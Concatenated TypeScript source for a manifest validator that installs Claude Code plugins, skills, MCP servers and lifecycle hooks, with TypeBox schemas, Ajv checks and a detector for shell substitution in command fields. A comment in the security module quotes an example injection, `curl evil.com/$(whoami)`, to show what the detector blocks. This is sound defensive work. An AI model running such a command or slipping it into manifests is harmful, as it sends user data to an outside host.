`${path}/${params.additionalProperty}`\n } else if (err.keyword === 'required' && params && typeof params.missingProperty === 'string') {\n path = `${path}/${params.missingProperty}`\n }\n\n let line: number | null = null\n let column: number | null = null\n if (doc && lineCounter) {\n // For required-field errors the missing field has no node; resolve to the\n // parent path instead so the user is pointed at the parent block.\n const lookupPath = err.keyword === 'required' ? err.instancePath || '/' : path\n const loc = locateLineFromDoc(doc, lineCounter, lookupPath)\n line = loc.line\n column = loc.column\n }\n\n return {\n file,\n path,\n message: err.message ?? 'unknown error',\n line,\n column,\n keyword: err.keyword,\n }\n}\n\nexport interface YamlParseLike {\n message: string\n linePos?: ReadonlyArray<{ line: number; col: number }>\n}\n\nexport function yamlParseErrorToFriendly(err: YamlParseLike, file: string): ValidationError {\n return {\n file,\n path: '/',\n message: err.message,\n line: err.linePos?.[0]?.line ?? null,\n column: err.linePos?.[0]?.col ?? null,\n keyword: 'yaml-parse',\n }\n}\n","// Metadata sub-schema per ADR 0001 § Top-level structure.\n// Fields: apiVersion (Literal harnessed/v1), kind (Literal Manifest),\n// metadata.{name, display_name?, description, upstream{...}}.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const ApiVersion = Type.Literal('harnessed/v1')\nexport const Kind = Type.Literal('Manifest')\n\n// SPDX whitelist per ADR 0001 line 51.\n// ADR 0010 errata — license whitelist extension (D-03/D-05). `MIT-0` (MIT No\n// Attribution, SPDX-registered) added for baoyu-skills; `anthropics-official`\n// carve-out added for anthropics/skills monorepo sub-skills (frontend-design /\n// document-skills / webapp-testing) which have no per-skill LICENSE file.\nconst SpdxLicense = Type.Union([\n Type.Literal('MIT'),\n Type.Literal('Apache-2.0'),\n Type.Literal('BSD-3-Clause'),\n Type.Literal('ISC'),\n Type.Literal('0BSD'),\n Type.Literal('MIT-0'),\n Type.Literal('anthropics-official'),\n])\n\n// ADR 0010 errata — license provenance audit field (D-04). Records where the\n// license info was sourced from so it can be mechanically audited. Optional —\n// additive only, A7' 8-pillar safe (no existing manifest broken).\nconst LicenseSource = Type.Union([\n Type.Literal('README'),\n Type.Literal('registry'),\n Type.Literal('none'),\n Type.Literal('anthropics-official'),\n])\n\nconst Upstream = Type.Object(\n {\n source: Type.String({ minLength: 1 }),\n homepage: Type.String({ format: 'uri' }),\n repository: Type.String({ format: 'uri' }),\n license: SpdxLicense,\n license_source: Type.Optional(LicenseSource),\n notice: Type.String({ minLength: 1, maxLength: 500 }),\n },\n { additionalProperties: false },\n)\n\nexport const MetadataSchema = Type.Object(\n {\n name: Type.String({ pattern: '^[a-z0-9][a-z0-9-]*$', minLength: 1 }),\n display_name: Type.Optional(Type.String()),\n description: Type.String({ minLength: 1, maxLength: 120 }),\n upstream: Upstream,\n },\n { additionalProperties: false },\n)\n","// install.method = cc-hook-add per ADR 0001 type×method matrix + Phase 2.4 W3 T3.1 (D-04 § 3.1).\n//\n// IMPL NOTE (Phase 2.4 W3 / R2.4.4): Claude Code SessionStart / UserPromptSubmit /\n// PreToolUse / PostToolUse hooks are configured in ~/.claude/settings.json under\n// `hooks.<event>[].{matcher, command}` shape. This install method lets a manifest\n// register a hook entry idempotently. The hook_command is the bash invocation the\n// user wants run on that lifecycle event (e.g. `node scripts/dashboard.mjs --no-open`\n// to auto-spawn the dashboard on session start).\n//\n// Sister: npxSkillInstaller schema (~17L) — same minimal TypeBox shape, no exotic\n// fields. `idempotent_check` reused from the 6 sister install methods (preflight\n// invariant per src/installers/lib/preflight.ts contract).\n\nimport { Type } from '@sinclair/typebox'\n\nconst HookEvent = Type.Union([\n Type.Literal('SessionStart'),\n Type.Literal('UserPromptSubmit'),\n Type.Literal('PreToolUse'),\n Type.Literal('PostToolUse'),\n])\n\nexport const CcHookAdd = Type.Object(\n {\n method: Type.Literal('cc-hook-add'),\n cmd: Type.String({ minLength: 1 }), // audit-trail (the bash invocation registered)\n // cwd/env required by lib/spawn.ts discriminated-union access (sister 6 method\n // shape parity — even though cc-hook-add does not spawn, generic spawn helper\n // expects these fields on the install union).\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n hook_event: HookEvent,\n hook_matcher: Type.Optional(Type.String()),\n hook_command: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = cc-plugin-marketplace per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n//\n// Phase 1.2 ADR 0005 errata — `marketplace_source` optional field for\n// third-party marketplaces (e.g. OthmanAdi/planning-with-files which is NOT\n// in claude-plugins-official). v0.1 only `source: github`. Official upstream\n// can omit; phase 2.1 cc-plugin-marketplace installer will consume this\n// field structurally instead of parsing the cmd string.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\nconst REPO_PATTERN = '^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$'\n\nexport const CcPluginMarketplace = Type.Object(\n {\n method: Type.Literal('cc-plugin-marketplace'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n // ADR 0005 — third-party marketplace structured metadata (optional).\n marketplace_source: Type.Optional(\n Type.Object(\n {\n source: Type.Literal('github'),\n repo: Type.String({ pattern: REPO_PATTERN, minLength: 3 }),\n },\n { additionalProperties: false },\n ),\n ),\n },\n { additionalProperties: false },\n)\n","// install.method = git-clone-with-setup per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\n\nexport const GitCloneWithSetup = Type.Object(\n {\n method: Type.Literal('git-clone-with-setup'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-http-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpHttpAdd = Type.Object(\n {\n method: Type.Literal('mcp-http-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-stdio-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n// Note: cmd should invoke `claude mcp add --scope project ...` (R3.2),\n// but schema only validates structure — actual cmd template is per-manifest.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpStdioAdd = Type.Object(\n {\n method: Type.Literal('mcp-stdio-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npm-cli per ADR 0001 type×method matrix (cli-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpmCli = Type.Object(\n {\n method: Type.Literal('npm-cli'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npx-skill-installer per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpxSkillInstaller = Type.Object(\n {\n method: Type.Literal('npx-skill-installer'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method discriminated union per ADR 0001 type×method matrix.\n// 6 methods: cc-plugin-marketplace, git-clone-with-setup, npx-skill-installer,\n// npm-cli, mcp-stdio-add, mcp-http-add.\n//\n// IMPL NOTE (Rule 1 / F8): TypeBox's Type.Union(..., { discriminator })\n// emits `anyOf` + lacks `type: \"object\"` + `required: [\"method\"]`, but Ajv\n// `discriminator: true` strict mode requires `oneOf` + `type: \"object\"` +\n// `required: [\"method\"]`. We hand-build the discriminator-compatible shape\n// here so Ajv accepts it. The inferred TypeScript type still tracks via\n// Static<>; Ajv accepts hand-rolled JSON Schema objects with no DX cost.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { CcHookAdd } from './ccHookAdd.js'\nimport { CcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { GitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { McpHttpAdd } from './mcpHttpAdd.js'\nimport { McpStdioAdd } from './mcpStdioAdd.js'\nimport { NpmCli } from './npmCli.js'\nimport { NpxSkillInstaller } from './npxSkillInstaller.js'\n\nconst branches = [\n CcPluginMarketplace,\n GitCloneWithSetup,\n NpxSkillInstaller,\n NpmCli,\n McpStdioAdd,\n McpHttpAdd,\n CcHookAdd,\n] as const\n\n// Hand-built JSON Schema that Ajv `discriminator: true` strict mode accepts.\n// Strict mode also requires `properties.method` declared at the discriminator\n// level (else `strictRequired` complains that `method` is required but undefined\n// at this object scope). Per-branch `additionalProperties: false` is preserved\n// (each TypeBox object already sets it).\nexport const InstallSchema = {\n type: 'object',\n discriminator: { propertyName: 'method' },\n required: ['method'],\n properties: {\n method: { type: 'string' },\n },\n oneOf: branches as unknown as object[],\n} as const\n\n// Re-derive the TS type via TypeBox's regular Union (this is unused at runtime\n// but gives downstream consumers a typed `Manifest['spec']['install']`).\nconst InstallUnion = Type.Union([...branches])\nexport type Install = Static<typeof InstallUnion>\n","// spec sub-schema per ADR 0001 § Top-level structure.\n// Fields: type, component_type, install (discriminated union), verify, uninstall,\n// upstream_health, signed_by, signature?, platforms,\n// tested_with_versions?, mutually_exclusive_with?,\n// category, install_type, decision_rules? (ADR 0007 errata — phase 1.3 加),\n// phase?, triggers? (ADR 0009 errata — phase 1.5 T5.5 加).\n//\n// IMPL NOTE — phase 1.5 T5.5 (ADR 0009 § Decision / D1.5-6 / D1.5-7 / Pattern L\n// spec-level metadata 加法 + Pattern T): adds 2 optional spec-level fields for\n// the mattpocock 23 招式 phase routing schema. `phase` is a 4-value enum\n// (discuss / plan / execute / verify) mirroring `decision_rules.yaml` v2\n// `mattpocock_phases` keys; `triggers` is an optional object carrying routing\n// hints (complexity_threshold / tdd_required / brainstorming_required). Both\n// optional — additive only, A7' 8-pillar enforcement (no existing manifest\n// broken). NOTE: this schema uses TypeBox (`@sinclair/typebox`), the project's\n// established schema lib — NOT zod; the task_plan `z.enum` / `z.object` outline\n// is a planning-doc shorthand, implemented here as `Type.Union` / `Type.Object`\n// per ADR 0001 + the no-new-deps constraint.\n\nimport { Type } from '@sinclair/typebox'\nimport { type Install, InstallSchema } from './installMethods/index.js'\n\nconst TypeEnum = Type.Union([\n Type.Literal('cc-plugin'),\n Type.Literal('cc-skill-pack'),\n Type.Literal('mcp-npm'),\n Type.Literal('cli-npm'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th type, 1:1 with install_type:'hook'.\n // Lifecycle hooks registered to ~/.claude/settings.json (SessionStart / UserPromptSubmit /\n // PreToolUse / PostToolUse) via the cc-hook-add install method.\n Type.Literal('cc-hook'),\n])\n\nconst ComponentType = Type.Union([\n Type.Literal('command'),\n Type.Literal('behavior-rule'),\n Type.Literal('mcp-tool'),\n Type.Literal('cli-binary'),\n])\n\nconst Verify = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n timeout_ms: Type.Optional(Type.Integer({ minimum: 100, maximum: 60_000 })),\n expected_exit_code: Type.Optional(Type.Integer()),\n },\n { additionalProperties: false },\n)\n\nconst Uninstall = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n cleanup_paths: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nconst Stability = Type.Union([\n Type.Literal('stable'),\n Type.Literal('beta'),\n Type.Literal('unstable'),\n Type.Literal('archived'),\n])\n\nconst FallbackAction = Type.Union([\n Type.Literal('warn'),\n Type.Literal('block'),\n Type.Literal('use_alternative'),\n])\n\nconst UpstreamHealth = Type.Object(\n {\n stability: Stability,\n last_check: Type.String({ format: 'date' }),\n last_known_good_version: Type.String({ minLength: 1 }),\n fallback_action: FallbackAction,\n alternative: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nconst Platform = Type.Union([Type.Literal('linux'), Type.Literal('darwin'), Type.Literal('win32')])\n\nconst Signature = Type.Object(\n { sigstore_bundle: Type.String({ format: 'uri' }) },\n { additionalProperties: false },\n)\n\nconst TestedWithVersions = Type.Object(\n {\n cc_versions: Type.Optional(Type.Array(Type.String())),\n node_versions: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// ADR 0007 errata — categorization schema (phase 1.3 T2.1 加 3 字段).\n// `category` (必填, 6 enum) + `install_type` (必填, 4 enum, 与 install.method 1:N 闭合) +\n// `decision_rules` (optional, per-manifest decision hint — 全局 rule-set 在\n// routing/decision_rules.yaml T3.1, schema 完全独立).\nconst Category = Type.Union([\n Type.Literal('meta'),\n Type.Literal('engineering'),\n Type.Literal('design'),\n Type.Literal('content'),\n Type.Literal('testing'),\n Type.Literal('search'),\n])\n\nconst InstallType = Type.Union([\n Type.Literal('skill'),\n Type.Literal('mcp'),\n Type.Literal('npm'),\n Type.Literal('git'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th install_type, 1:1 with TypeEnum:'cc-hook'.\n Type.Literal('hook'),\n])\n\nconst DecisionRules = Type.Object(\n {\n trigger: Type.Optional(Type.String({ minLength: 1 })),\n default_expert: Type.Optional(Type.String({ minLength: 1 })),\n arbitration_rule: Type.Optional(Type.String({ minLength: 1 })),\n override_signals: Type.Optional(\n Type.Array(\n Type.Object(\n {\n phrase: Type.String({ minLength: 1 }),\n use: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n ),\n ),\n ),\n // Phase 2.3 W2 T2.5 — CD-3 negative-space hint mirror (B-17 per-manifest hint\n // redundant guard layer; SSOT remains routing/decision_rules.yaml — D-04 lead).\n // Additive optional; existing manifests unchanged (A7 守恒).\n do_not_use_when: Type.Optional(Type.Array(Type.String({ minLength: 1 }), { minItems: 1 })),\n if_rejected_use: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\n// ADR 0009 errata — mattpocock 23 招式 phase routing schema (phase 1.5 T5.5).\n// `Phase` (optional, 4 enum — 1:1 with decision_rules.yaml v2 mattpocock_phases\n// keys) + `Triggers` (optional, routing hints per D1.5-7). Both additive.\nconst Phase = Type.Union([\n Type.Literal('discuss'),\n Type.Literal('plan'),\n Type.Literal('execute'),\n Type.Literal('verify'),\n])\n\nconst Triggers = Type.Object(\n {\n complexity_threshold: Type.Optional(Type.Integer({ minimum: 1 })),\n tdd_required: Type.Optional(Type.Boolean()),\n brainstorming_required: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// ADR 0010 errata — bundle-install modeling (#10, D2.1-1). One install action\n// may surface multiple named units (e.g. document-skills → pptx/docx/xlsx/pdf).\n// `provides` absent ⇒ atomic manifest (unchanged behavior). Present ⇒ one\n// install exposes N named units. `install`/`verify`/`uninstall` stay singular —\n// the bundle is installed by ONE action. Bundle manifests use the existing\n// `type: 'cc-skill-pack'` (D2.1-2 — no new TypeEnum/ComponentType value).\nconst ProvidedUnit = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // routing-addressable, <org>-<repo>-<unit>\n component_type: ComponentType, // reuse existing union\n },\n { additionalProperties: false },\n)\n\nexport const SpecSchema = Type.Object(\n {\n type: TypeEnum,\n component_type: ComponentType,\n install: Type.Unsafe<Install>(InstallSchema),\n verify: Verify,\n uninstall: Uninstall,\n upstream_health: UpstreamHealth,\n signed_by: Type.String({ pattern: '^[a-zA-Z0-9-]+$', minLength: 1 }),\n signature: Type.Optional(Signature),\n platforms: Type.Array(Platform, { minItems: 1, uniqueItems: true }),\n tested_with_versions: Type.Optional(TestedWithVersions),\n mutually_exclusive_with: Type.Optional(Type.Array(Type.String())),\n category: Category,\n install_type: InstallType,\n decision_rules: Type.Optional(DecisionRules),\n // ADR 0009 errata (phase 1.5 T5.5) — mattpocock phase routing schema.\n phase: Type.Optional(Phase),\n triggers: Type.Optional(Triggers),\n // ADR 0010 errata (phase 2.1 T1.3) — bundle-install `provides` field.\n provides: Type.Optional(Type.Array(ProvidedUnit, { minItems: 2, uniqueItems: true })),\n },\n { additionalProperties: false },\n)\n","// Manifest schema v1 — main entry per ADR 0001.\n// Top-level: { apiVersion, kind, metadata, spec } with strict additionalProperties: false.\n//\n// Type × install.method matrix (ADR 0001 § 4.5) is enforced via top-level `allOf`\n// with `if/then` clauses. Without this, the install discriminator only validates\n// the chosen method's structure but allows e.g. `type: cli-npm` paired with\n// `method: cc-plugin-marketplace` (matrix violation). Rule 2 enforcement.\n\nimport { Type } from '@sinclair/typebox'\nimport { ApiVersion, Kind, MetadataSchema } from './metadata.js'\nimport { SpecSchema } from './spec.js'\n\n// TypeBox-typed base — drives Static<typeof ManifestBase> for the inferred\n// Manifest TS type (re-exported via ./types.js).\nexport const ManifestBase = Type.Object(\n {\n apiVersion: ApiVersion,\n kind: Kind,\n metadata: MetadataSchema,\n spec: SpecSchema,\n },\n { additionalProperties: false },\n)\n\n// Per-type allowed install.method whitelist per ADR 0001 line 104-113.\nconst matrix: Record<string, string[]> = {\n 'cc-plugin': ['cc-plugin-marketplace'],\n 'cc-skill-pack': ['cc-plugin-marketplace', 'git-clone-with-setup', 'npx-skill-installer'],\n 'mcp-npm': ['mcp-stdio-add', 'mcp-http-add'],\n 'cli-npm': ['npm-cli'],\n}\n\nconst matrixConstraints = Object.entries(matrix).map(([typeValue, allowedMethods]) => ({\n if: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: { type: { const: typeValue } },\n required: ['type'],\n },\n },\n required: ['spec'],\n },\n // biome-ignore lint/suspicious/noThenProperty: JSON Schema `then` keyword (conditional schemas), not a thenable.\n then: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: {\n install: {\n type: 'object',\n properties: { method: { enum: allowedMethods } },\n required: ['method'],\n },\n },\n required: ['install'],\n },\n },\n required: ['spec'],\n },\n}))\n\n// Runtime JSON Schema fed to Ajv: typed base + matrix allOf clauses + metadata.\n// We spread ManifestBase (a TypeBox object that is already a valid JSON Schema)\n// and append the cross-field constraints.\nexport const ManifestSchema = {\n ...(ManifestBase as unknown as Record<string, unknown>),\n $id: 'https://harnessed.dev/schemas/manifest.v1.schema.json',\n title: 'harnessed Manifest v1',\n description: 'Per ADR 0001. Strict mode (additionalProperties: false everywhere).',\n allOf: matrixConstraints,\n}\n","// Phase 1.1.1 hotfix per Paranoid Staff Engineer review B1.\n//\n// ADR 0001 § \"字段拒绝清单\" claims schema rejects ${shell command} dynamic\n// substitution patterns, but v0.1 phase 1.1 schema only does structural\n// validation (Type.String + minLength). This module fills the gap before\n// phase 1.2 installer ships — without it, an upstream manifest with\n// `cmd: 'curl evil.com/$(whoami)'` would pass validation, and the\n// phase 1.2 installer that spawns the cmd string would execute arbitrary\n// code on the user's machine.\n//\n// v0.2 plan: add a `requires_secret` schema field + explicit\n// `${secret:KEY}` template syntax, at which point this detector should\n// allow the `${secret:*}` whitelist while still rejecting raw `${VAR}`.\n//\n// Detected patterns (4):\n// - `$(...)` POSIX command substitution\n// - `${...}` variable expansion\n// - backtick old-style command substitution\n// - dangerous yaml tags (handled at parse layer by yaml@2.x; we\n// don't double-check, but document the trust boundary)\n//\n// Targeted fields:\n// - spec.install.cmd\n// - spec.verify.cmd\n// - spec.uninstall.cmd\n// - spec.uninstall.cleanup_paths[*]\n\nimport type { Document, LineCounter, Node } from 'yaml'\nimport { isMap, isScalar, isSeq } from 'yaml'\nimport type { ValidationError } from './errors.js'\n\ninterface ShellPattern {\n test: (s: string) => boolean\n label: string\n hint: string\n}\n\nconst PATTERNS: ShellPattern[] = [\n {\n label: '$(...)',\n hint: 'POSIX command substitution',\n test: (s) => /\\$\\(/.test(s),\n },\n {\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal pattern label, not a JS template\n label: '${...}',\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal example in user-facing message\n hint: 'variable expansion (v0.2 will whitelist `${secret:KEY}`)',\n test: (s) => /\\$\\{/.test(s),\n },\n {\n label: 'backtick',\n hint: 'old-style command substitution',\n test: (s) => /`/.test(s),\n },\n]\n\nfunction lineOf(node: Node | null | undefined, lineCounter: LineCounter): number | null {\n if (!node?.range) return null\n const offset = node.range[0]\n return lineCounter.linePos(offset).line\n}\n\n/**\n * String-level shell-escape detector for runtime defense-in-depth.\n *\n * Phase 1.2 lib/spawn.ts re-runs this on `manifest.spec.install.cmd` right\n * before child_process.spawn(): if a future caller (e.g. phase 1.4 routing,\n * a test harness, or an installer that bypasses validate.ts) hands an\n * unvalidated cmd string to spawn, we still refuse to execute. Same pattern\n * set as `checkSecurityViolations`, just operating on a raw string instead\n * of a yaml AST node — no source-line/path context here.\n *\n * Returns the offending pattern descriptor on first hit, or null if clean.\n */\nexport function checkCmdString(cmd: string): { label: string; hint: string } | null {\n for (const pat of PATTERNS) {\n if (pat.test(cmd)) return { label: pat.label, hint: pat.hint }\n }\n return null\n}\n\nfunction checkScalarCmd(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n path: Array<string | number>,\n filename: string,\n): ValidationError | null {\n const node = doc.getIn(path, true)\n if (!node || !isScalar(node)) return null\n const value = node.value\n if (typeof value !== 'string') return null\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n return {\n file: filename,\n path: `/${path.join('/')}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at ${path.join('.')} — v0.1 forbids dynamic shell evaluation; v0.2 will use \\`requires_secret\\` + \\`\\${secret:KEY}\\` for env placeholders`,\n line: lineOf(node, lineCounter),\n column: null,\n keyword: 'security',\n }\n }\n }\n return null\n}\n\n/**\n * Pre-Ajv security gate per ADR 0001 § \"字段拒绝清单\".\n * Walks the parsed yaml AST and rejects any string-typed cmd field (or\n * cleanup_paths sequence element) containing `$(...)`, `${...}`, or\n * backticks. Returns ALL violations found (not short-circuit) so the\n * user can fix them in one pass.\n */\nexport function checkSecurityViolations(\n doc: Document.Parsed,\n filename: string,\n lineCounter: LineCounter,\n): ValidationError[] {\n const errors: ValidationError[] = []\n\n // Walk known cmd paths. We do NOT do generic AST recursion because we\n // want surgical: only fields where the installer will spawn a shell.\n const cmdPaths: Array<Array<string | number>> = [\n ['spec', 'install', 'cmd'],\n ['spec', 'verify', 'cmd'],\n ['spec', 'uninstall', 'cmd'],\n ]\n\n for (const p of cmdPaths) {\n const err = checkScalarCmd(doc, lineCounter, p, filename)\n if (err) errors.push(err)\n }\n\n // cleanup_paths is a sequence of strings — iterate each element.\n const cleanupNode = doc.getIn(['spec', 'uninstall', 'cleanup_paths'], true)\n if (cleanupNode && isSeq(cleanupNode)) {\n cleanupNode.items.forEach((item, idx) => {\n if (!isScalar(item)) return\n const value = item.value\n if (typeof value !== 'string') return\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n errors.push({\n file: filename,\n path: `/spec/uninstall/cleanup_paths/${idx}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at spec.uninstall.cleanup_paths[${idx}] — v0.1 forbids dynamic shell evaluation`,\n line: lineOf(item, lineCounter),\n column: null,\n keyword: 'security',\n })\n break\n }\n }\n })\n }\n\n // Sanity guard: if doc has no spec block (incomplete manifest), skip silently;\n // Ajv will report the structural error.\n void isMap\n\n return errors\n}\n","// Manifest validator entry per ADR 0001 + GA-1.\n// Pipeline: yaml.parseDocument -> doc.toJS() -> Ajv compiled validator -> typed Manifest.\n// T4.1 baseline: parse + Ajv strict + discriminator.\n// T4.2 extracts friendly-error mapping to ./errors.ts.\n// T4.3 adds yaml CST line/column mapping.\n//\n// IMPL NOTE (Rule 1 / F8): tsconfig has `verbatimModuleSyntax: true` (per ADR\n// 0002) which disables `esModuleInterop` synthetic-default behaviour at runtime.\n// `ajv` 8 ships a named `Ajv` class export, so a named import works directly.\n// `ajv-formats` exports only a default function, so we import it as a namespace\n// and pull `.default` at runtime — that mirrors what the CJS module actually\n// exposes (`module.exports = formatsPlugin; exports.default = formatsPlugin`).\n\nimport { Ajv } from 'ajv'\nimport * as ajvFormatsNs from 'ajv-formats'\nimport { LineCounter, parseDocument } from 'yaml'\nimport { ajvErrorToFriendly, type ValidationError, yamlParseErrorToFriendly } from './errors.js'\nimport { ManifestSchema } from './schema/index.js'\nimport type { Manifest } from './schema/types.js'\nimport { checkSecurityViolations } from './security.js'\n\nconst addFormats = (ajvFormatsNs as unknown as { default: (a: Ajv) => Ajv }).default\n\nconst ajv = addFormats(\n new Ajv({\n strict: true,\n strictSchema: true,\n strictTypes: true,\n strictRequired: true,\n allErrors: true,\n discriminator: true,\n allowUnionTypes: false,\n }),\n)\n\nlet _compiled: ReturnType<typeof ajv.compile<Manifest>> | null = null\nfunction getValidator() {\n if (!_compiled) {\n _compiled = ajv.compile<Manifest>(ManifestSchema as unknown as object)\n }\n return _compiled\n}\n\nexport type { ValidationError } from './errors.js'\n\nexport type ValidateResult =\n | { ok: true; manifest: Manifest }\n | { ok: false; errors: ValidationError[] }\n\n// ADR 0010 errata (phase 2.1 T1.4) — install_type ↔ install.method 1:N closure\n// enforcement. TypeBox `Type` cannot express cross-field constraints, so this\n// is a validate-layer refinement rule. Maps each install_type enum value to its\n// closed set of legal install.method values (ADR 0007 1:N closure). install\n// methods not in this map (currently none) are unconstrained.\nconst INSTALL_TYPE_METHODS: Record<string, readonly string[]> = {\n npm: ['npm-cli'],\n mcp: ['mcp-stdio-add', 'mcp-http-add'],\n git: ['git-clone-with-setup'],\n skill: ['cc-plugin-marketplace', 'npx-skill-installer'],\n}\n\nfunction checkInstallTypeMismatch(manifest: Manifest, filename: string): ValidationError[] {\n const spec = manifest.spec as { install_type?: string; install?: { method?: string } }\n const installType = spec.install_type\n const method = spec.install?.method\n if (!installType || !method) return []\n const allowed = INSTALL_TYPE_METHODS[installType]\n if (!allowed || allowed.includes(method)) return []\n return [\n {\n file: filename,\n path: 'spec.install.method',\n message: `install_type '${installType}' is not compatible with install.method '${method}' (ADR 0007 1:N closure — expected one of: ${allowed.join(', ')})`,\n line: null,\n column: null,\n keyword: 'install-type-mismatch',\n },\n ]\n}\n\nexport function validateManifestFile(yamlSource: string, filename: string): ValidateResult {\n const lineCounter = new LineCounter()\n const doc = parseDocument(yamlSource, { lineCounter })\n\n if (doc.errors.length > 0) {\n return {\n ok: false,\n errors: doc.errors.map((e) => yamlParseErrorToFriendly(e, filename)),\n }\n }\n\n // Phase 1.1.1 hotfix B1: pre-Ajv security gate. Reject `$(...)`, `${...}`,\n // backtick, etc. in any cmd field BEFORE structural validation so users\n // see the security failure first (not a confusing field-shape error).\n const securityErrors = checkSecurityViolations(doc, filename, lineCounter)\n if (securityErrors.length > 0) {\n return { ok: false, errors: securityErrors }\n }\n\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const errs = validate.errors ?? []\n return {\n ok: false,\n errors: errs.map((err) => ajvErrorToFriendly(err, filename, doc, lineCounter)),\n }\n }\n\n // ADR 0010 errata (phase 2.1 T1.4) — cross-field install_type ↔ install.method\n // 1:N closure check. Runs after Ajv structural validation passes (needs a\n // well-formed manifest); TypeBox `Type` cannot express cross-field rules.\n const manifest = data as Manifest\n const crossFieldErrors = checkInstallTypeMismatch(manifest, filename)\n if (crossFieldErrors.length > 0) {\n return { ok: false, errors: crossFieldErrors }\n }\n\n return { ok: true, manifest }\n}\n","// Phase 2.4 W4 T4.1 — audit runtime-layer helpers per B-28 + B-29 + R2.\n// 3 helpers: origin tamper (sister-share w/ allowFork=false), install.cmd\n// shell-injection + npm-pkg-vs-upstream cross-check, provenance gate.\n// Karpathy budget: ≤64L (B-29 target ≤50 + biome multi-line format carve-out\n// sister 